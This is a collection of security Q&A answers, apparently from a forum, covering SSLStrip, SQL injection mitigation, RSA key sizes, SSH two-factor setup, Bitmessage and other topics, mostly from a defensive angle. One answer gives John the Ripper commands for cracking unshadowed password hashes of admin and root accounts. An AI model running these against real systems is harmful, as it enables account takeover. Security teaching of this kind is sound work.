Gaining sensible information from advertisement displayed in web pages

As a rule, this doesn't happen in real life. Typically third-party content of this variety loads in a separate iframe, the content of which is (ostensibly) not accessible to the DOM of the outer page. There's been some issues with that in the past, but it seems that people have moved on, so presumably the issues are fixed.

More interesting than ads, though, is this same principle applied to thinks like the Facebook social plugins. The plugins will insert text like "Your friend Rory Alsop liked this page" along with pictures of your friends. This means that if the site operator has access to that content, then he can determine who your facebook friends are, and perhaps your own facebook identity.

This is much more significant than guessing your maladies from Google ads.


How can I hide my mac address when using a public wifi?

The answer is you can't hide your MAC address completely since it's essential in networking. As per wikipedia:

  MAC addresses are used in the medium access control protocol sublayer of the data link layer.

What you can do though is to spoof your MAC address so you don't "expose" the manufacturer of your computer's network card which is going to help you avoid targeted attacks. Also as @multithr3at3d correctly pointed out, by spoofing you MAC address you also prevent your MAC address from being used to track you.


Copying the email address to a forgotten password page

None as such
The change that you are proposing seems only to be a user experience change. Yes, someone can say that it will make it user friendly for malicious users to lock normal users out of the system but that's not on you.
The bigger problem for you is your policy of locking the user's account when they click on forgot password. It makes it very easy for a malicious user to lock you out of your account. They just have to go to forgot password -> Enter the valid email id -> Hit the reset button.


IIRC, SSLStrip does not do a traditional SSL-MITM attack. What it does is watch HTTP traffic, look for links and redirects to HTTPS traffic, and rewrite those links/redirects to HTTP. A quick look at their website confirms this.

So, you must have some non-ssl page which links/redirects to an ssl page. SSLStrip sees that and changes the link/redirect to a non-secured link/redirect. For example, you might have index.php linking to https://domain.com/login.php. SSLstrip changes it to http://domain.com/login.php. You could verify this by typing into your browser https://domain.com/login.php and see if SSLStrip still sees the username and password (or when you click on the login link, see if it has http or https in the url bar in the browser).

You thwart this attack by

Make your site only SSL.
For whatever webserver you use (Apache, IIS, etc), there should be a way to force certain directories to only be accessable over SSL connections. Make all authenticated content SSL-only. A simple google search should reveal how to do this for a given piece of server software.


Hardening/Security considerations for torrent clients

The act of port forwarding itself is unlikely to be a major security issue. Risks would come from the fact that the BitTorrent protocol is very complex, and libraries for it are necessarily complex. Any time you have code parsing complex attacker-controlled data structures, you are risking exploitation.
Using a sandbox
Hardening a torrent client can be done using various forms of sandboxing. Different operating systems have different techniques for this, such as AppArmor on Linux systems, Seatbelt on OSX, and AppLocker on Windows. These are all frameworks for limiting the capabilities of individual programs, called Mandatory Access Controls, or MACs. A confined program is called a subject, and resources it wishes to access are called objects. A subject can be restricted to only accessing certain objects (and even then, performing only limited operations on said objects), or objects can be marked as accessible by only certain subjects. This general technique is useful to prevent a compromised application from doing much harm.
Using a seedbox
Another, more complete, solution is to use a seedbox. A seedbox is a remote server running a torrent client. Torrents to be downloaded are uploaded to the server, and when they are completed, they can be downloaded through a direct connection (often http, ftp, sftp, or rsync). Seedboxes provide the ability to continue seeding and leeching even while your computer is off or your network is down, and are not limited by the bandwidth caps imposed by your ISP. However in this case, they also provide the additional benefit of isolating any compromise of the torrent client to the seedbox itself.
Keeping backups
Having all your data on a NAS does open up the risk of ransomware. It is unlikely that an attacker who just wants to distribute such malware would burn a 0day on a fully up to date torrent client. Such attacks are far more advanced. In order to reduce the risk of ransomware in general, though, you should keep most important backups on offline storage. This is important not only to avoid ransomware, but also catastrophic filesystem corruption (which even RAID would not protect against). You should use the 3-2-1 backup rule. This states that you should keep 3 copies of any data you do not want to lose, 2 on different types of storage media, and 1 offsite.


Which URL is revealed when using wildcard SSL?

The Server Name Indication extension, now implemented by most SSL libraries, implies that a sniffer would see the name api2.server2.com as part of the unencrypted ClientHello message from server1.

As for the rest of the URL (the path on server2), it is sent only after the handshake, so it is not visible to sniffers (but sniffers may still obtain a good estimate of the path length, in characters).


How to build Linux Volatility Profiles With the Compiled Kernel

You do not need access to a live system to create a volatility memory profile. What you do need are kernel headers for the running kernel, DWARF debug symbols, or the kernel source code in the exact version of the target kernel and the corresponding .config.
If you have a copy of the kernel with DWARF debug symbols (i.e. CONFIG_DEBUG_INFO=y, was set when building the kernel), you can instead run dwarfdump on the kernel.
Assuming the kernel is built with the [IKCONFIG] option, you can use the [extract-ikconfig] script to extract the config from the kernel. If the IKCONFIG_PROC option is set, this may also be available on a live system under /proc/config.gz. Using this config, you can build the volatility module against your kernel source checkout.
If none of these options are viable, you are out of luck, and may need to reverse engineer the structure layouts.


Denial of Service against an asynchronous Web service

If, by asynchronous, you mean a web server like vertx/undertow that puts requests onto an event bus an handles them from a thread pool, then DoS should still be possible, though you may require a higher load if you do an L7 flooding attack than when DoS-ing a threaded server like Apache.

The OS is indeed not creating and blocking a single thread per request, and instead serving from a pool of event-driven workers, which means that CPU exhaustion is harder to achieve. However, at the network level, there are still a large number of open connections, and the system may still run out of file descriptors and be unable to handle new connections.

Indeed, I did some simple testing to benchmark Apache Tomcat v/s vertx and found that on identically configured AWS EC2 instances, vertx has a capacity that is four times higher than Apache, but still crashes even from a single L7 flood generator.


What is the name for building trust on a platform before pillaging?

Sybil Attack

  the attacker subverts the reputation system of a peer-to-peer network
  by creating a large number of pseudonymous identities, using them to
  gain a disproportionately large influence. A reputation system's
  vulnerability to a Sybil attack depends on how cheaply identities can
  be generated, the degree to which the reputation system accepts inputs
  from entities that do not have a chain of trust linking them to a
  trusted entity, and whether the reputation system treats all entities
  identically.

https://en.wikipedia.org/wiki/Sybil_attack


How to solve the problem of secure randomly generated GUIDs when the size of the data outgrows the GUIDs

It seems you could always need a bigger number.

Not really. In theory perhaps, obviously there's always a bigger number, but you'll run into limits of physics pretty quickly.

With a random 128 bit ID, you could store around an exabyte of IDs before running into problems with collisions. That's just storing the IDs, presumably you'll want to be storing data associated with those IDs.

If you increase the size to a 256 bit ID it's difficult to even conceive of the number of records you could store without issue. With 512 bits you'd only be a couple orders of magnitude short of being able to randomly generate an ID for every atom in the universe without worrying about collisions.

Wait, you want more IDs?? Ok, since you don't care about practical limitations (such as the likelyhood of the human race going extinct before turning the entire universe into a storage medium, or the lack of desire to use the entire universe as a storage medium in the first place), let's just look at the math behind it then:

Let n be the number of IDs you want
Let p be the chance of collisions (ie p = 0.01 is a 1% probability)
Let b be the minimum number of bits each ID requires

Then, from Wikipedia (also here):

n = sqrt(2 * 2^b * ln(1 / (1 - p))

Solving for b and simplifying:

n^2 = 2 * 2^b * ln(1 / (1 - p))
2^b = n^2 / (2 * ln(1 / (1 - p)))
b * ln(2) = ln(n^2 / (2 * ln(1 / (1 - p))))
b = ln(n^2 / (2 * ln(1 / (1 - p)))) / ln(2)
b = log2(n^2 / (2 * ln(1 / (1 - p))))
b = log2(n^2) - log2(2 * ln(1 / (1 - p)))
b = log2(n^2) - log2(2 * ln((1 - p)^(-1)))
b = log2(n^2) - log2(2 * -ln(1 - p))

Calculating this is another problem, as 1 - p can be small enough to cause significant error (n^2 isn't so much of an issue as any exponent from n can be multiplied outside the log2). You can use log1p to avoid the issue:

b = log2(n^2) - log2(2 * -log1p(-p))

As an arbitrary example, let's suppose the universe can hold 101000 bits of information, and we want to assign each bit of storage its own random identifier with 10-15 chance of collision:

b = log2((10^1000)^2) - log2(2 * -log1p(-10^-15))
b = log2(10^2000) - log2(2 * -log1p(-10^-15))
b = 2000 * log2(10) - log2(2 * -log1p(-10^-15))

Evaluating with the following python:

from math import log, log1p
log2 = lambda x : log(x, 2)
2000 * log2(10) - log2(2 * -log1p(-10**-15))

We get 6692.6851 bits, rounding up to 6693 bits required. Now you can plug in your estimation for the number of bits it's possible to store and you have your answer.

But now we have another problem. If the universe only has 101000 bits of storage space, we can't store 6693*101000 bits of IDs (that's what you get for trying to assign a random ID to every bit of information the universe can store, you maniac).

Let's add some variables and improve the equation:

Let d equal the number of data bits to be stored alongside each ID (not counting the size of the ID itself)
Let n be the number of bits you can store
Let r equal the number of rows you can store (a row being the size of b + d)

Now we can come up with the following equation for r:

r = n / (b + d)
r = n / (log2(r^2) - log2(2 * -ln(1 - p)) + d)

I don't believe this is solvable, but it can be approximated with only a few rounds of recursion starting with a guess of r = n. Since n is so large, some tricks can be used to get an approximate answer:

Let t = log10(r)
log10(r) = log10(n / (log2(r^2) - log2(2 * -ln(1 - p)) + d))
t = log10(n) - log10(log2((10^t)^2) - log2(2 * -ln(1 - p)) + d)
t = log10(n) - log10(2 * t * log2(10) - log2(2 * -ln(1 - p)) + d)
t = log10(n) - log10(2 * t * log2(10) - log2(2 * -log1p(-p)) + d))

Our example of 101000 bits of storage in python, supposing that you only want to store IDs and no associated data:

# -*- coding: utf-8 -*-
from math import log, log1p, ceil
log2 = lambda x : log(x, 2)
log10 = lambda x : log(x, 10)

def id_size(d, n, p):
    t = log10(n)
    old_t = 0
    while t != old_t:
        old_t = t
        t = log10(n) - log10(2 * t * log2(10) - log2(2 * -log1p(-p)) + d)
    n_log = log10(n)
    n_string = str(10**(n_log % 1)) + str('e') + str(int(n_log))
    print "Given " + n_string + " bits of storage, to generate random IDs with " + str(p) + " chance of collision, each associated with " + str(d) + " bits of data would require " + str(int(ceil(t))) + " bit IDs (t ≈ " + str(t) + ")"

id_size(0, 10**1000, 10**-15)

Resulting in:

Given 9.99999999999e999 bits of storage, to generate random IDs with 1e-15 chance of collision, each associated with 0 bits of data would require 997 bit IDs (t ≈ 996.176051348)


FTP is an insecure protocol, you rightly want to improve on that.

There are several possibilities:

replacing it with a secured version of FTP, or moving into another transfer protocol such as SSH (the "SFTP" part)
tunneling the traffic via a VPN

You chose the second solution, it would be good to reconsider the first one to go for a native encryption of the protocol. There may be other considerations which push you towards a VPN, though.

If you use VPN, you have the following scenario:

the traffic between your client and the VPN gateway is secured
the traffic between the VPN gateway and your service (FTP in your case) is as secure as the protocol. Again in your case: not secure because FTP.

Depending on a plethora of elements, you may be OK or not with this unsecure part of the transfer. This will depend on your risk analysis, which is unique to your case.

As a side note - the vendor of the VPN does not matter for your question (provided that the implementation is correct)


How to limit the impact of and reduce the risk of SQL injection for existing website?

Don't spend lots of time on workarounds or half fixes. Every minute you spend trying to implement anything suggested here is a minute you could have spent implementing prepared statements. That is the only true solution.

If you have an SQLi vulnerability, the attacker will probably win in the end no matter what you do to try to slow her down. So be aware that while you may make improvements, in the end you are playing a losing game unless you fix the root cause of the issue.

As for what you have tried so far: Hiding error messages is a good start. I'd recommend you to apply even stricter permissions (see below). It is debatable whether changing table names help, but probably it won't hurt.

Ok, so what about those permissions? Limit what the database user can do as much as possible, down to table or even column level. You may even create multiple database users to lock things down even more. For instance, only use a database user with permission to write when you are actually writing. Only connect with a user that has the right to read the password column when you actually need to read the password column. That way, if you have an injection vulnerability in some other query it can not be leveraged to leak passwords.

Another option is to use a web application firewall (WAF), such as mod_security for Apache. You can configure it to block requests that look suspicious. However, no WAF is perfect. And it takes time and energy to configure it. You are probably  better off using that time to implement prepared statements.

Again, don't let any of this lure you into a false sense of security. There is no substitution to fixing the root cause of the problem.


I suppose that your problem is about using a Web application that you do not control. That Web application requires some "user credentials" (login and password) which you do not want to show to the human user. But these credentials must exist, and if they are not in the employee's head, then they must be in his machine or another relay machine.

In general, you can envision a proxy system: the employee connects not to the Web app, but to the proxy. The employee authenticates with the proxy through some proxy-specific method, which can be a login+password (not the same as the credentials for the Web app). The proxy then forwards all requests to the Web app, and responses back, except that it also performs the "true" authentication with the Web app.

That proxy can be some software running on the employee's desktop system, but that's kinda weak, because the employee has, by definition, physical access to his own desktop system, so he will be able to extract whatever secrets it contains, if he puts some effort into the task. A stronger system is to make the proxy a separate machine, kept in a bay in a server room, on the company internal network. The point here being that this proxy machine is not reachable by the employee from his home Internet access.

That's about as much as we can tell "in general". How easy or hard it would be to implement such a system depends a lot on how the Web app does things. For instance, if the target Web app uses HTTP Basic Authentication, then the proxy just has to transparently add a WWW-Authenticate: HTTP header to every request. If the Web app uses a custom "login page" (that's the usual case), then the proxy would have to get that page, submit the credentials (HTTP POST), then get the HTTP cookie, and add the Cookie: HTTP header to every request. If the Web app uses OAuth, and/or Ajax code with client-side Javascript, then things can become complex, possibly quite hairy.


I would suggest Keyczar. This is a cryptography toolkit which once was developed by Google. It has Java, Python and C++ implementations. As far as I'm aware Keyczar was thoroughly tested. During that testing one timing attack was found and fixed. However this was the only case so far and I would consider it a fairly good bet.

The PDF file in chapter 8 provides some better information about HMAC. And if you look at the question »Should we MAC-then-encrypt or encrypt-then-MAC?« at crypto.SE you get a deeper answer to the Encrypt-then-MAC case.


Question about Standard Access Control List

It means like this: let's assume you have a configuration like:

network1<-->router1<-->router2<-->router3<-->network2 .

if you want something to be denied for going into or getting out of network2, you put the ACL on router3 (which is closest to network2), not or router2 or 1 (which are further from your target compared to router3).

Standard ACL examine the source address only. As a result, you must place them as close to the destination as possible to avoid blocking traffic bound for another interface/network.


Best practice for accessing management port of firewall

I suggest you to use the bastion backdoor architecture.

Install an hardened machine inside your remote network which will be
used as a uniq entry point to access the inside of your remote network. For the clarity of this textual description I'll name it bastion.
As a rule of thumb any protocol not used on bastion will have to be off.
All allowed protocols will be logged (if possible on a syslog server within your remote network).
Put all your managment interfaces in a dedicated closed VLAN: managment. managment won't be accessible from the WAN or from the remote LAN. It will only be accessible from bastion.
Block any WAN direct access toward your firewall. Your firewall will only be accessible from bastion and through a very limited set of protocals (IPsec, ssh).

bastion will be a potential point of failure. In case of trouble on this
system, your remote network won't be accessible. If an attack on bastion turn successfull, the attacker will have control on your firewall and on all your managed server. Hence all your OS hardening should be done to make this
bastion as attack resistant and failure proof as possible.
I advise you to build it on top of any Unix which have a good reputation to permit the building of hardened OSes.


Is it possible to transfer a virus through browser video?

but the implication in the other question is that videos in question have been downloaded and played by media software on the target computer.

No it is not. The implication is that there need to be a bug in the code handling the data. For instance the ffmpeg library is used  in browsers like Chrome or Firefox and it had several serious bugs in the past. And of course Flash had lots of vulnerabilities too so the problem exists for both HTML5 and Flash based media playing.

  Presumably the browsers are somewhat sandboxed...

This is an assumption which is not necessarily true. Some browsers like Chrome or Edge are sandboxed and some like Firefox are not sandboxed (yet). In case of sandboxes it gets much harder to exploit but it is not impossible as regularly shown at Pwn2Own.


The unshadow utility combines the password hash stored in the /etc/shadow file with the contents of the /etc/passwd file. When the two files are combined, you can then crack users belonging to specific groups or skip users with expired credentials etc. For example, an expired file with have the shell=/etc/expired in /etc/passwd file, you can tell john to skip all those hashes which have a shell=/etc/expired option set:
john --shells=-/etc/expired <path of unshadow password file>

Note a minus sign infront of the shells parameter. If tell john to skip those hashes having the expired shell.

john --groups=admin,root <path of the unshadow password file>

The above command is going to crack only those accounts which are in the admin and root group. Hence when the two files are combined, you have a lot of flexibility which hashes you want to crack. But you can certainly use john just with the shadow file as well if you want to.


What security requirements are a defacto standard in the Financial Industry?

As mentioned the two main laws in the US are Sarbanes-Oxley Act (SOx) and the Gramm-Leach-Bliley Act (GLB).

If you are on the Banking side of the Financial Services sector then a must read is the Federal Financial Institutions Examination Council (FFIEC) Information Security Booklet dated July 2006.

The handbook references NIST, ISO, and COBIT. NIST's 800 series documents are an excellant source of guidance on a variety of topics. On the ISO side see the ISO/IEC 27002 standard.

If you fall under SOx then you will probably find yourself involved with two control frameworks, COBIT and COSO. The control frameworks aren't going to tell you exactly how to implement a control. Although not directly associated with SOx compliance SANS has published amoung other things a list of Twenty Critical Security Controls. These controls are a little closer to actual implementation, but still don't tell you exactly how to do it. How you implement a particular control is going to be highly dependent upon your environment.


How to interpret this statement against 4096-bit RSA

The reasoning in the quoted advice is poor:

  The United States’ National Institute of Standards and Technology (NIST) states that RSA‑2048 gives roughly 112 bits of security and RSA‑3072 gives roughly 128. There is no formal recommendation on where RSA‑4096 lies, but the general consensus is that it would come in somewhere around 140 bits — 28 bits of improvement over RSA‑2048. This is an improvement so marginal that it’s really not worth mentioning.

  If you need more security than RSA‑2048 offers, the way to go would be to switch to elliptical curve cryptography — not to continue using RSA.

As stated in the question, even the 28‑bit (or 228 times) improvement in resistance to brute force from 2048‑bit RSA to 4096‑bit RSA is large (not marginal), enough for decades of brute-force computing progress, and could well make the difference between secure and insecure in say half a century.

Also, the 28‑bit figure quoted is significantly below general consensus, which would be more like 36±4‑bit. Factoring the public modulus of a properly drawn RSA key n with classical (non-quantum) computers is, as far as we know, best done by GNFS with effort

While the speed at which the o(1) term goes to zero is not known, projections on computing effort customarily neglect that o(1). Taking 3072‑bit RSA as baseline, that tells 4096‑bit RSA would be ≈18‑bit (not 12‑bit) harder, 7680‑bit RSA ≈64‑bit harder, and 15360‑bit ≈131‑bit harder. This nicely matches the figures starting from the 128‑bit security level in NIST SP 800-57 Pt 1 implicitly referenced by the citation:

If there is a consensus, it is that

If 4096‑bit RSA is broken in the next three decades, that will be by some groundbreaking progress in factorization algorithm, or (and) the advent of quantum computers usable for cryptanalysis (which currently do not exist, and remain highly hypothetical).
There is no compelling reason to believe that ECC would be less susceptible to such hypothetical progress; there are even convincing arguments that at the same security level (and increasingly at higher levels), ECC would fall before RSA to quantum computers usable for cryptanalysis.

One correct argument to be made against 4096‑bit RSA is that currently 2048‑bit RSA is more than safe enough, thus 4096‑bit RSA way overkill. But a reasonable argument to use 4096‑bit RSA is the possibility of quantum computers usable for cryptanalysis; or/and, the need to repel those considering such devices might materialize in the usable lifespan of the key. 4096‑bit RSA is fast enough to be usable from most applications of PGP/GPG involving a post-2010 general-purpose computer; key and ciphertext size is bearable; so why not?

My advise is that 4096‑bit RSA is a sound choice for long term security in PGP/GPG. It is safe, interoperable, simpler thus better audited than ECC, and there is some credibility in the arguments that it gives a better level of security against hypothetical quantum computers usable for cryptanalysis.

Note: I use quantum computer usable for cryptanalysis rather than quantum computer, because devices performing Adiabatic Quantum Computing (as in D‑Wave's 2000Q) are increasingly referred to as quantum computers, while I have not seen any serious claim that their technology could lead to something usable for cryptanalysis, contrary to the Intel/QuTech 17‑Qbit superconducting chip.
Addition: And now (2019) there are indisputably quantum computers competitive with classical computers on some simulation problems (even if their claim to quantum supremacy in this area is disputed), but still useless for any exact, deep, combinatorial problem like cryptanalysis.


How to prove iOS app is vulnerable to MiTM

SSL is used to prevent MiTM by assuring Confidentiality, Integrity and Authentication. SSL is based on trust. There are trusted root certificates which sign other certificates (which the user can verify) to proof their identity. If a root certificate gets compromised, then all certificates signed by this and transitively signed certificates are to be treated as compromised. The trust chains are hard coded within your applications or your operating system. Some applications are just configured to trust all certificates the operating system trusts.

If you add a certificate authority, then you are essentially saying to your device that the certificate is to be trusted. In your proxy you then use  it to perform the MiTM with the certificate you compromised yourself. So you haven't proven anything, you just breached your own trust chain and removed the one layer protecting you from a MiTM.

Setting up a sniffer will normally just show you encrypted SSL traffic.

Some applications, especially on more sensitive mobile devices, can perform certificate pinning. This means that the application does not trust the Operating System's certificates, but ony trusts those certificates which were hard coded within the app.


What is the difference between PGP and asymmetric encryption?

PGP is a specific implementation of asymmetric encryption*.  The original product ("Pretty Good Privacy") spawned an open variant called OpenPGP (and a number of standards), and alternate implementations like GPG are also often referred to as "PGP".

So, PGP is just a product that implements asymmetric encryption, but is done so for so long and with so many variants it is often spoken of at the same level as symmetric and asymmetric.

*As @Schroeder points out, PGP actually implements a solution such that symmetric encryption is used to encrypt data, and asymmetric encryption is used to encrypt the key, since asymmetric encryption can't encrypt anything larger than its own key size.  This bundle is commonly referred to as "asymmetric encryption" even though it's a hybrid model.


Is secret key for HMAC in form of UTF8 characters good enough?

I'm assuming here that key is something static at system level, and not something an individual user chooses - if so, it is very strange that it is read as UTF-8 rather than as Base64 because UTF-8 will be an inefficient storage mechanism for the key as it won't be using the full keyspace. I would put this down to developer naivety rather than anything done out of reason.

This method would make more sense if it was for a user chosen key, as they may have entered unicode characters as they key, and therefore if it is stored and read as UTF-8 it can then be put into a key-stretching function such as PBKDF2. Here the goal isn't efficient storage, it would be simply making sure that a user chosen key has enough entropy to be useful.

  won't it mean that this key is more predictable that it should be?

When the key goes into the HMAC function, it is hashed along with the message. The fact that it is from a UTF-8 string should not make the resultant HMACs more predictable nor should it make brute-forcing the key any easier. As long as the original string has enough entropy in it to begin with, it won't matter what format it has been converted to for storage.

  Can it still be secure enough provided the proper generation of this
  key, and how should it be generated in this case?

From this answer, a 128 bit random value generated via a cryptographically secure pseudo random number generator would be recommended for the key. The CSPRNG would generate a byte sequence, so this could be Base64'd and then stored as UTF-8, albeit with the keyspace never being completely filled. It would be better if the UTF-8 step could be completely removed though because it adds unnecessary complexity.


You can skip --algorithm parameter. Default algorithm is randomlsb. "lsb" is deprecated and not available anymore.


Encrypting local HTTP traffic using a self-signed certificate

When doing SSL access to a server, the client performs the following verifications:

The client validates the certificate with regards to the local "trust anchors", also known as "root CA", which are embedded in the client (the browser or the operating system). Validation is about building a chain of certificates from a trust anchor down to the SSL server's certificate, each certificate signing the next. Algorithm is a bit complex in its details (section 6 of RFC 5280).
The client verifies that the name of the intended server appears in the server's certificate (validation tells him that it is a valid certificate for some server; this step is about checking that it is the right server, not any other). This step is described in RFC 2818.

For the first step, you need to tell your client system that it should accept the self-signed certificate as valid. Since you talk about Internet Explorer, I infer a Windows operating system; see this answer for how to do it (since Chrome also uses the OS trust stores, chances are that it will fix it for Chrome too).

For the second step, you must use a URL with a server name (not IP address) which matches the name of type dNSName which appears in the Subject Alt Name extension of the certificate (when there is no dNSName in that extension, or when the extension is missing altogether, the Common Name in the subjectDN field is used). If the URL looks like this:

https://www.example.com/path/to/whatever.html

then the browser will try to find www.example.com in the certificate. If it does not find it, then you are due for a scary warning, as you experience.

You may have to play a bit with your DNS settings so that the same name can be used regardless of the network place you are. Remember that it is a name matching: it does not work with IP addresses. Also, note that you can put several names of type dNSName in a Subject Alt Name extension, which is useful for SSL servers who are to be contacted under several names.


What is the state of the Windows Update certificate after Flame?

In short:

No, all CRLs were updated to revoke the offending cert, and Microsoft took steps to prevent MD5-based certs from being issued again.
Possibly, if you use a proxy to inspect the traffic. Not really sure how you'd go about setting this up. You could manually check the handshake in Wireshark though.
Maybe. There are still some strange crypto export rules in the US, which SSL 2 might help get around. It may also be a legacy thing - I bet there are still old XP SP0 boxes out there with no SSL 3 support.


Two-factor authentication with ssh key authentication and yubikey?

As of 2015 (with OpenSSH >= 6.2), your assumption that sshd won't invoke PAM in combination with public key authentication doesn't hold anymore.

With OpenSSH 6.2 you can enforce a second factor or even multiple factors for authentication in addition to public key authentication.

The AuthenticationMethods directive can be used to specify multiple factors on a global or user specific level in the sshd_config, for example:

  AuthenticationMethods publickey,keyboard-interactive

keyboard-interactive triggers the PAM chain where e.g. a OTP pam module can be configured for sshd.


How does a hashing function always return the same length hash?

Most cryptographic hash functions operate on a fixed-size internal state and process the message to be hashed block by block, where a block is a number of bits. MD5, SHA-1 and SHA-2 follow the Merkle-Damgård construction which operates as follows:

Let S be an array of N bits, initialized to a predefined value. N is the size of the internal state and may be different from the final size of the hash.
Update the state based on each message block successively. More precisely, for each message block Mi, set S := C(Mi, S). The function C is known as the compression function; it takes a K-bit block and an N-bit state value and produces a new N-bit state value.
For the last few bits of input, which may not form a complete block (if the length of the message is not a multiple of the block length), apply a padding function to S that takes the length of the message into account (the Merkle-Damgård construction requires a specific padding method which I am not describing here).
Return F(S) where F is called the finalization function. F takes an N-bit state as input and returns an n-bit hash.

The compression function is so-called because it takes K + N bits of input and returns only N bits of output. This of course means that there are a lot of collisions: distinct (Mi,S) pairs producing the same resulting state. However, if done right, i.e. if it is computationally infeasable to find collisions for the compression function, then the hash itself is also collision-resistant.

There are non-Merkle-Damgård cryptographic hash functions, for example SHA-3, which uses a sponge construction. The operating method is a little different, but the core principle is the same:

Work with a fixed-size state.
Transform the state based on one message block at a time.
Apply padding to the last block.
Apply a finalization function to the internal state to return the hash value.

Non-cryptographic hashes often rely on arithmetic (but this approach doesn't tend to produce fast cryptographic hash functions). They use modular arithmetic as the compression function to keep the current state to a fixed size.


What do these credit security alerts mean?

Your email account is likely not compromised, especially if you use unique passwords for all of your accounts and use a major email provider.

For the alerts that name sites, this is likely just reporting that your credentials were part of a data breach related to that site.  You should treat your password on the named site as public knowledge and change it, both there and anywhere else you've used the same or a similar password.  Just because a set of credentials was stolen from schmevite.com that does not mean that attackers won't try to use those same credentials elsewhere, since many people re-use the same or similar password for multiple accounts.  If you use unique passwords for every account then you have no need to worry about this attack vector, and only need to change your password on the breached site.

For the alerts that don't name a particular site it's likely that your username/email address and a password were found by researchers as part of some unattributed database of accounts.  It's not uncommon for password lists to be sold with no indication of where they came from.  Often they're collections, combined from multiple breaches such that it's very difficult to determine where exactly the leak came from.  If your username is found in one of these collections it's a good idea to change any passwords that are older than when the collection was discovered.  There are tools such as Have I Been Pwned's password checker that you can use to determine if a specific password has been found (at least, in any of the databases that particular tool knows about), but if you're using a password manager with unique, randomly-generated passwords it's likely faster and easier to just change them all.


Efficiency of Steganography with Linear Codes

Think about it at a higher level. Steganography is the act of disguising a secret message by embedding it in an innocent message. It doesn't have to be hidden in a picture. It could be hidden in a music file, or a video, or a spam email. Picking a disguise is a choice, not a requirement.

So now we choose the type of file, and we pick a picture. That doesn't say anything about how we will hide the messsge in the file. We can choose to hide it only in the least significant bit of the color blue, for example. Or we could hide it by altering only pixels that are set to true black, or the alpha channel, or by modifying the EXIF thumbnail.

Your scheme would work if you chose to treat the least significant bit of a group of 8 bytes as the locations of the hidden bits.

But what would that gain you? Every eighth byte would have a statistically unusual distribution, because a normal picture won't have a parity bit there. If an analyst is looking for evidence of an unusual image that might be hiding data, your modified images will stand out as surely as if you had embedded the message directly.


Sending shutdown command via ssh using sudo non-interactively

There are a bunch of different questions in here, some of which are not security questions (for example "how to use sudo over a non-interactive SSH session" is really a programming / superuser question), and some of which only you can answer (what counts as "secure").

So instead of answering your question directly, I'll point out some security things to think about relating to your two proposals.

  I don't want to use sudo -n and NOPASSWD for the shutdown command, as that's a security risk that I don't want to deal with.

You may need to elaborate on what that security risk is and why you don't want to deal with it. Clearly you're OK with Siri knowing your username and password to SSH in, which, if the iOS devs were to build in a mechanism for handling sudo prompts or an attacker were to extract your username/passwd from Siri's storage, would be enough to perform any admin action on that machine.

The reason that sudo needs a password is to prevent you downloading malware in firefox, and then it turning itself into root. From the use-case you describe in your question, whether ssh user@machine 'sudo cmd' requires you to type your password once or twice doesn't make a difference from a security perspective; either the attacker knows your password, or they don't.

  sudo shutdown -h now japos98vh92p3hoab982hfpa

I don't know how you would accomplish this (but would love to learn if you can explain how in comments!). Skipping that (and any potential security holes you open in the process), I suppose this becomes a second admin password so that an attacker needs to know both your account password and this "admin password" in order to execute shutdown. This "admin password" will show up in more places: in plaintext in the Siri app, in the bash history for your user, in the process tree while it's running (try ps -u), and probably other places -- there's a reason things like sudo take passwords via stdin, not via command-line arguments.

So assuming

An attacker has gotten in to your account - either over SSH or because you downloaded malware in firefox and ran it
You have run this command before and it's in your bash history

I'm not sure there's any difference security-wise between this and setting shutdown to be NOPASSWD.


Can multiple transactions of the same amount in a short time be considered fraud/corruption?

Yes, its something I monitor (or rather an agent I built monitors).

  a transaction for the same amount with the same cellphone number within 5 days of a previous transaction

erk?

Personally I'm looking for multiple events occurring within a timescale of up to 10 seconds - but then I'm comfortable that the systems being monitored are not subject to replay attacks. However, you mentioned cellphone numbers implying that there is a high risk of SMS's being duplicated on the aggregator and the carrier before they arrive at the end point.

i.e. unless you stretch the definition of "integrity" as it is usually applied in the Security domain, their policy appears to address functional issues in the transaction process.

Is the payment charged via your cellphone provider or are you merely sending a mandate to the electricity company who bill you directly? The former provides a means for all sorts of chicanery, in the latter case, there is no obvious Security spin to this story.

  I responded by saying there is a bug in their system

As per above - it may not be the fault of the electricity company. However since you had to chase them to get this explanation, they are clearly more interested in protecting themselves against fraud than protecting you.

Update

It has since occurred to me that it's possible the "token" might be data rather than physical (again a lot of guesswork about whats actually going on here)  and hence might be the subject of the attack, or more specifically the algorithm by which the token is generated.

The service still sucks.

And if its possible to derive the algorithm from multiple orders for the same amount, then the security sucks too.


From Wikipedia:

  Outgoing messages contain no explicit address of the recipient of the message. Therefore, every network participant tries to decrypt every message passing through the network even if the message was not originally intended for that network participant. Since only the actual recipient can successfully decrypt the messages intended for him, all network participants know that if they fail to decrypt the message then the message was not intended for them.

From Jonathan Warren's original paper:

  We propose a system where users exchange a hash of a public key that also functions as the user’s address. If the public key can be obtained by the underlying protocol, then it can easily be hashed to verify that it belongs to the intended recipient... an example address would be: BM‐2nTX1KchxgnmHvy9ntCN9r7sgKTraxczzyE.

It appears that a user's public key (or, a hash of their public key) is their messaging address. Thus, there is nothing to verify: when you send a message to user with public key P, you don't need to verify that your recipient's public key is really P, because you have identified your recipient solely by his public key.

As for how to tell if a public key belongs to a particular real-world entity: you can't, just as you can't easily verify that a particular email address belongs to a particular real-world entity.

For example, you want to send Alice a message. Alice advertises her Bitmessage address (e.g., on her business cards, on her public website, etc.) as BM‐2nTX1KchxgnmHvy9ntCN9r7sgKTraxczzyE. You make a P2P Bitmessage request to get the public key associated with BM‐2nTX1KchxgnmHvy9ntCN9r7sgKTraxczzyE. When you have fetched the key, you quickly verify that its fingerprint matches the one in Alice's address. then, you use the Bitmessage system to encrypt your message so it is readable only by Alice's private key.

But how did you know that BM‐2nTX1KchxgnmHvy9ntCN9r7sgKTraxczzyE is really Alice's address? Maybe someone printed out fake business cards, or hijacked Alice's website to change her address. Maybe so, but if they did, that's not a problem that Bitmessage is designed to solve.

In fact, the lack of connection between an address and a real-world entity seems to be branded as a feature:

  Hiding one’s identity is difficult. Even if throw-away email addresses are used, users must connect to an email server to send and retrieve messages, revealing their IP address...

And when talking about broadcast messages (emphasis mine):

  This would allow an individual or organization to anonymously publish content using an authenticated identity to everyone who wishes to listen.

The primary use for BitMessage (as presented in the paper, anyway) seems to be the ability to sent messages that are from a cryptographically verified source, but that source is free to avoid identifying themselves in any real-world way.

